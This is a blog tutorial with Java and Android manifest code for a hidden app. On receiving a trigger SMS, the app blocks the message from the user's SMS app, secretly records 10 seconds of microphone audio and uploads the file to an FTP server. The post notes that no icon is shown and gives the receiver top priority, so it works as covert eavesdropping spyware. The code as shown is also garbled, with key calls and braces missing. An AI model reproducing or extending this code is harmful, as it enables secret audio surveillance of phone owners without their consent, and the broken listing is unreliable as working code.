Android: SMS Controlled App to Upload 10 Sec Audio Record


This is mainly a back-end app. When the user sends a particular SMS to the phone i.e. ‘RECORD_APP_10‘, the app blocks the SMS notification and records a 10 sec audio. This audio is then uploaded to an FTP server.


  1. AsyncTask is used to perform a task in the background, without manipulating the current thread.
  2. BroadcastReceiver can be used as a event listener.
  3. Telephony.SMS_RECEIVED is used to get notification of received SMS.
  4. Using Handlers to control myRecorder object i.e stop after 10 sec .

[wpi_designer_button text=’Download’ link=’’ style_id=’48’ icon=’github’ target=’_blank’]


  1. Broadcast Receivers simply responds to broadcast messages from other applications or from the system itself.These messages are sometime called events or intents.
    For example, system initiates broadcasts to let other applications know when an SMS is received.
  2. We are creating a custom SMS receiver to check if the SMS received matches with our phrase and perform the actions.
    package com.example.smsreceiver;
    import android.content.BroadcastReceiver;
    import android.content.Context;
    import android.content.Intent;
    import android.os.Bundle;
    import android.os.Environment;
    import android.os.Handler;
    import android.telephony.SmsMessage;
    // Here we are creating a custom BroadcastReceiver for receiving the SMS.
    public class SmsReceiver extends BroadcastReceiver {
    	private MediaRecorder myRecorder;  //used for recording
    	private String outputFile = null;
    	//Telephony class is the class that deals with network related things.
    	//We are using the SMS_RECEIVED functionality.
        private static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
        //function that corresponds to the broadcast event.
        public void onReceive(Context context, Intent intent) {
        	//checks if the broadcast is send by SMS received.
            if (intent.getAction().equals(SMS_RECEIVED)) {
            	// Bundle will hold the SMS details.
                Bundle bundle = intent.getExtras();
                //checks if it is valid
                if (bundle != null) {
                	 *------>  The SMS PROCESSING PART
                	 * A PDU is a “protocol data unit”, which is the industry format for an SMS message.
                	 * A large message might be broken into many, which is why it is an array of objects.
                	// get sms objects
                	Object[] pdus = (Object[]) bundle.get("pdus");
                    if (pdus.length == 0) {
                    // large message might be broken into many
                    SmsMessage[] messages = new SmsMessage[pdus.length];
                    StringBuilder sb = new StringBuilder();  // we append the broken messages to get the full message.
                    for (int i = 0; i < pdus.length; i++) {
                        messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
                    String sender = messages[0].getOriginatingAddress();  // senders number
                    String message = sb.toString();  // message
    	                //Doesn't broadcast it to  the system SMS APP.
    	            	 *------>  The Recording PART
    	                // the destination to store the recording 
    	        		outputFile = Environment.getExternalStorageDirectory().getAbsolutePath() + "/record.3gpp";  
    	        		myRecorder = new MediaRecorder();
    	        		myRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);  // setting the audio source as MIC
    	        		myRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);  //set audio format 3gpp
    	        		myRecorder.setAudioEncoder(MediaRecorder.OutputFormat.AMR_NB); //setting audio encoder
    	        		myRecorder.setOutputFile(outputFile);   // sets the output path.
    	        		// record part  -- START'S THE RECORDING
    	        		try {
    	        		} catch (IllegalStateException e) {
    	        		} catch (IOException e) {
    	        			// prepare() fails
    	        		 * > Threads are generic processing tasks that can do most things, but one thing they cannot do is update the UI.
    	        		 * > Handlers on the other hand are bound to threads that allow you to communicate with the UI thread 
    	        		 *  Here it is myRecorder object.
    	        		 * */
    	        		//STOPS the record after 10 sec.
    	        		final Handler handler = new Handler();
    	        		handler.postDelayed(new Runnable() {
    	        			public void run() {
    	        				try {
    	        					myRecorder = null;
    	        				} catch (IllegalStateException e) {
    	        					// it is called before start()
    	        				} catch (RuntimeException e) {
    	        					// no valid audio/video data has been received
    	        		}, 10000); //1 sec --> 1000 milli seconds
    	            	 *------>  The UPLOAD PART
    	        		new FtpUpload().execute();
  3. The FTP uploader.
    package com.example.smsreceiver;
    import android.os.AsyncTask;
    import android.os.Environment;
    import android.util.Log;
    import android.widget.Toast;
    public class FtpUpload extends AsyncTask<Void, Void, Void> {
    	protected Void doInBackground(Void... params) {
    		FTPClient con = null;
    		try {
    			con = new FTPClient();  // con is the FTPClient
    			con.connect(""); //set the ip address of the server
    			if (con.login("ftp_username", "ftp_password")) {   // checks if login is successful
    				con.enterLocalPassiveMode(); // important!
    				String data = Environment.getExternalStorageDirectory().getAbsolutePath() + "/record.3gpp"; // file to upload
    				FileInputStream in = new FileInputStream(new File(data)); 
    				boolean result = con.storeFile("public_html/docs/record.3gpp", in);  // where to store in the server
    				if (result) {
    					Log.v("upload result", "succeeded");
    					//Toast.makeText(getApplicationContext(), "upload Sucess",Toast.LENGTH_SHORT).show();
    				con.logout();  // logout ftp
    				con.disconnect(); //disconnect ftp
    		} catch (Exception e) {
    		return null;
  4.  Giving Priority for SMS Receiver in Android Manifest.
    <?xml version="1.0" encoding="utf-8"?>
    <manifest xmlns:android=""
        android:versionName="1.0" >
            android:targetSdkVersion="17" />
        <uses-permission android:name="android.permission.RECEIVE_SMS" />
        <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
        <uses-permission android:name="android.permission.RECORD_AUDIO" />
        <uses-permission android:name="android.permission.INTERNET"/>
        <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
        <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
            android:theme="@style/AppTheme" >
            <!-- If you declare your receiver in xml than system can use your receiver regardless of your application was ever launched. -->
                android:enabled="true" >
                <intent-filter android:priority="2147483647" >
                    <action android:name="android.provider.Telephony.SMS_RECEIVED" />


As this is Back End Application, there won’t be any app icon shown. It will work in the background, when the custom message is received.

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s